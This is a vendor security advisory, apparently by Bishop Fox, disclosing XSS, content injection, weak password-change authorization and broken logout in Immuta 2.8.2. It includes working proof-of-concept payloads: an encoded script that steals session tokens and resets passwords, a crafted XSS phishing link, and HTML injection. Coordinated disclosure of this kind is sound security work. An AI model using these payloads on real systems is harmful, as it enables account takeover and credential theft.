Security Advisory: Immuta Version 2.8.2

ADVISORY SUMMARY

Two cross-site scripting (XSS) vulnerabilities were discovered in the Immuta application. One instance was stored XSS that could be exploited by a low privilege user to escalate permissions. The other instance was DOM-based, which allowed unauthenticated users to target authenticated users via a crafted phishing link. Content injection was discovered that allowed arbitrary HTML to be included by low-privilege users. An insufficient authorization control issue was discovered that allowed user passwords to be updated without knowledge of the original. Improper session management was identified, so that upon user logout, sessions remained valid.

Impact: High Risk Level

The XSS issues could be exploited by either low-privilege users in the stored instance or non-authenticated users in the case of the DOM-based XSS. Either of these instances when exploited could be used to force arbitrary actions on the behalf of authenticated users or chained with the insufficient authorization controls issue to hijack the accounts of any Immuta user that viewed the affected endpoint or clicked the crafted link.

Immuta has since patched all versions 2020.2.2 and up (Immuta revised naming convention) to remediate the four issues we've identified in this advisory. 

Affected Vendor

Product Description

Immuta, Inc. is a data governance software solution for sharing and governing data. The project’s official website is https://www.immuta.com. The latest version of the application is is 5.4.1, released on July 8, 2020. 

Vulnerabilities:

Four vulnerabilities were identified within Immuta:

• CROSS-SITE SCRIPTING
• CONTENT INJECTION
• INSUFFICIENT AUTHORIZATION CONTROLS
• IMPROPER SESSION MANAGEMENT

Solution

Update to version 2020.2.2 or newer;

The vulnerabilities are described in the sections below.

VULNERABILITIES

CROSS-SITE SCRIPTING 

The Immuta application is affected by stored XSS that allows a low-privileged user to escalate privileges to administrative permissions. Additionally, unauthenticated attackers can phish unauthenticated Immuta users to steal credentials or force actions on authenticated users through reflected, DOM-based XSS.
 

Stored XSS

The Immuta application’s Projects → Datasources → Comments section is vulnerable to stored XSS that could result in hijacked accounts and arbitrary actions conducted on behalf of authenticated Immuta users. In this example, the proof-of-concept (PoC) payload used a low-privileged user to compromise the accounts of users with higher permissions through a password-change request.

An attacker could create a project while authenticated as a low-privileged user that belonged to the predefined CREATE_DATA_SOURCE_IN_PROJECT and CREATE_PROJECT groups. In the created project, an arbitrary dataSource was added with a comment that contained the following payload:

POST /project/44/comments HTTP/1.1
…omitted for brevity…
{"body":"Hey can Everyone check this issue?? <script>eval(atob(\"dmFyIHRva2VuR3JhYiA9ICJCZWFyZXIgIiArIGRvY3VtZW50LmNvb2tpZS5zcGxpdCgiPSIpWzFdIApnZXRBY2NvdW50ID0gYXN5bmMoKSA9PiB7CiAgICBjb25zb2xlLmxvZygnWypdIFhTUyBUcmlnZ2VyZWQnKQogICAgY29uc29sZS5sb2coYFsqXSBBdXRob3JpemF0aW9uIFRva2VuIEZvdW5kICR7dG9rZW5HcmFifWApCiAgICBmZXRjaCgnL2JpbS9ycGMvdXNlci9jdXJyZW50JywgewogICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgJ0F1dGhvcml6YXRpb24nOiB0b2tlbkdyYWIgICAgICAgIAogICAgICAgIH0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKS50aGVuKGRhdGEgPT4gIHsKICAgICAgICB2YXIgZW1haWwgPSBkYXRhLnByb2ZpbGUuZW1haWwKICAgICAgICBjb25zb2xlLmxvZyhgWypdIFVzZXJuYW1lIEZvdW5kICR7ZW1haWx9YCkKICAgICAgICBjb25zb2xlLmxvZygnWypdIFVwZGF0aW5nIFBhc3N3b3JkLi4uJykKICAgICAgICBmZXRjaCgnL2JpbS9pYW0vYmltL3VzZXIvJyArIGVtYWlsICsgJy9wYXNzd29yZCcsIHsKICAgICAgICAgICAgbWV0aG9kOiAnUFVUJywKICAgICAgICAgICAgaGVhZGVyczogewogICAgICAgICAgICAgICAgJ0F1dGhvcml6YXRpb24nOiB0b2tlbkdyYWIgCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGJvZHk6IEpTT04uc3RyaW5naWZ5KHsncGFzc3dvcmQnOidSRURBQ1RFRCd9KQogICAgICAgIH0pCgogICAgfSk7Cn0gIApnZXRBY2NvdW50KCk=\"))</script>","dataSource":36}

FIGURE 1 – Comment request with an XSS payload

The JavaScript payload was Base64-encoded to avoid issues with special characters. The decoded payload is shown below:

var tokenGrab = "Bearer " + document.cookie.split("=")[1] 
getAccount = async() => {
console.log('[*] XSS Triggered')
console.log(`[*] Authorization Token Found ${tokenGrab}`)
fetch('/bim/rpc/user/current', {
headers: {
'Authorization': tokenGrab 
}
}).then(response => response.json()).then(data => {
var email = data.profile.email
console.log(`[*] Username Found ${email}`)
console.log('[*] Updating Password...')
fetch('/bim/iam/bim/user/' + email + '/password', {
method: 'PUT',
headers: {
'Authorization': tokenGrab 
},
body: JSON.stringify({'password':'[REDACTED]'})
})
});
}
getAccount();

FIGURE 2 – Decoded XSS payload

The XSS payload executed when an authenticated user viewed the affected comment. The low-privileged user could add all other users to the affected project, who would then receive a notification when the comment was created; as a result, the likelihood that other users would view the affected comment was very high.

To demonstrate this, a separate high-privileged administrative user logged in to the application and navigated to the affected comment at the #/project/44?action=data-sources&sort=dataSourceName&order=asc&offset=1  endpoint:

The XSS triggered when the administrator viewed the comment, sending two requests on behalf of the authenticated user:

Request

GET /bim/rpc/user/current HTTP/1.1
…omitted for brevity…

Response

HTTP/1.1 200 OK
…omitted for brevity…
{
"profile":{
"name":"Chris Davis",
"email":"[email protected]",
…omitted for brevity…

Request

PUT /bim/iam/bim/user/[email protected]/password HTTP/1.1
…omitted for brevity…
{"password":"[REDACTED]"}

Response

HTTP/1.1 200 OK
…omitted for brevity…
{"success":true}

The requests updated the affected user's password, thereby allowing the low-privileged user to log in to the affected user's account and assume the roles of that user.

DOM-based XSS

The Immuta application’s login page is affected by DOM-based XSS that could be exploited to phish unauthenticated users’ credentials or force actions on behalf of authenticated users.

The login page’s content loaded differently for new users. As shown in the login page’s client-side source code, three URL parameters were required for the login page to display the new-user content:

154. jQuery(document).ready(function () {
155.       // If this is a one-time use link, grab the provided token and show the user the update profile/password form
156.      var newUserToken = Utils.getQueryString('token');
157.      var newUserId = Utils.getQueryString('userid');
158.      var newUserFullName = Utils.getQueryString('name');
159.       if (newUserId) {
160.           jQuery('#username').addClass('readonly');

 FIGURE 4 – GET parameters required

The userid reflected on the Immuta login page, as shown in the following client-side code:

173.       if (configuration.firstUser || (newUserToken && newUserId)) {
174.           jQuery('.existing-user').hide();
175.           jQuery('.new-user').css('display','inline-block');
176.           // If this is a new user logging in for the first time, just show them password, password confirm and full name
177.           if (newUserToken && newUserId) {
178.               jQuery('#email').hide();
179.               jQuery('.new-user h1').html('Complete Your Account');
180.               jQuery('.new-user p').html('An account has been created for you in this instance of Immuta with the username <span class="new-user-id">' + newUserId + '</span>. Please provide your full name and create a password to complete the account creation process and log in.');

FIGURE 5 – Vulnerable codeA URL was crafted that included the three parameters and an XSS payload in the userid parameter:

https://[REDACTED]/login?token=ltest&userid=1337%3Cimg%20src=x%20onerror=alert(window.location.origin)%3E&name=chris

 FIGURE 6 – XSS phishing link

This link, which triggered on both authenticated and unauthenticated users, executed JavaScript in the Immuta application's origin:

This XSS vulnerability could be exploited to phish credentials during the authentication process. If the user was authenticated, their session could be used to force actions on their behalf.

CONTENT INJECTION

The Immuta application accepts user-supplied project names without properly sanitizing the input, thereby allowing attackers to inject arbitrary HTML content that is rendered as part of the application. An attacker could leverage this issue to redirect application users to a phishing website in an attempt to steal credentials.

To trigger the content injection vulnerability, the following HTTP request was issued to create a new project:

POST /project HTTP/1.1
…omitted for brevity…
{"purposes":[],"status":"open","documentation":"","name<code class="language-java">":"<h1>Content Injection PoC</h1><a href="https://[REDACTED]:8000" target="_blank">click</a>","dataSources":[]}

FIGURE 8 – Content injection payload

This request injected HTML content into multiple locations of the Immuta application, including the Disable Project pop-up location:

The content was also injected into the audit record location:

The application’s documentation section also rendered the arbitrary HTML as well:

Despite a seemingly benign risk, if a user clicked on an attacker-controlled link that used target=“_blank” (as demonstrated in this example), the attacker’s site could reference the window.opener.location property (via JavaScript) to change the URL of the opening window or tab. This approach is often used to discreetly redirect the originating page to an identical phishing site without the user’s knowledge.

INSUFFICIENT AUTHORIZATION CONTROLS

The Immuta application does not require a user to confirm their current password in order to change it. If a malicious actor had momentary access to an account, they could exploit this issue to gain persistent access to the account, resulting in an account takeover that would deny access to the legitimate account owner. Additionally, this insufficient authorization controls issue could be chained with client-side vulnerabilities to result in account compromise, as demonstrated in the cross-site scripting (XSS) finding in this advisory.

The following API request was sent to update a user's password:

PUT /bim/iam/bim/user/[email protected]/password HTTP/1.1
…omitted for brevity…
{"password":"[REDACTED]"}

FIGURE 12 – Request to change password

This PUT request accepted the authenticated user's new password without confirming the current password.

IMPROPER SESSION MANAGEMENT

The Immuta application does not revoke session authorization tokens upon logout. When an authenticated user logs out, the Immuta application clears the token from the browser’s cookie and local storage; however, the token is not revoked from server-side checks.

If a session token was leaked, as demonstrated in the cross-site scripting (XSS) finding in this advisory, a user could not invalidate an active session by logging out of the application. Tokens would only invalidate when the expiration was reached.

To demonstrate this issue, an authenticated request was sent:
Request

GET /bim/rpc/user/current HTTP/1.1
…omitted for brevity…
Authorization: Bearer f8c5a564a3221c55313e90
Cookie: bodata-token=f8c5a564a3221c55313e90

Response

HTTP/1.1 200 OK
Date: Tue, 23 Jun 2020 23:21:13 GMT
…omitted for brevity…
{"profile":{"name":"Chris Davis","email":"[email protected]",
…omitted for brevity…

A logout request was then issued, which cleared the token from the user's browser session and redirected the user to the login page:

Request

GET /login?redirect=https%3A%2F%2F[REDACTED]%3A443%2F%23%2Fsources HTTP/1.1
…omitted for brevity…

Response

HTTP/1.1 200 OK
Date: Tue, 23 Jun 2020 23:22:13 GMT
…omitted for brevity…=

Over an hour after the logout sequence, the original authenticated request was then reissued:

Request

GET /bim/rpc/user/current HTTP/1.1
…omitted for brevity…
Authorization: Bearer f8c5a564a3221c55313e90
Cookie: bodata-token=f8c5a564a3221c55313e90

Response

HTTP/1.1 200 OK
Date: Wed, 24 Jun 2020 00:40:41 GMT
…omitted for brevity…
{"profile":{"name":"Chris Davis","email":"[email protected]",
…omitted for brevity…

As shown above, the user’s session was still valid after logout.

Credits

• Ruihai Fang, Senior Security Consultant, Bishop Fox ([email protected])
• Chris Davis, Security Consultant, Bishop Fox ([email protected])
• Nazariy Haliley, Security Consultant, Bishop Fox ([email protected])

Timeline

• Initial Discovery: 06/24/2020
• Contact with vendor: 07/06/2020
• Vendor acknowledged vulnerabilities: 07/06/2020
• Vulnerabilities publicly disclosed: 11/04/2020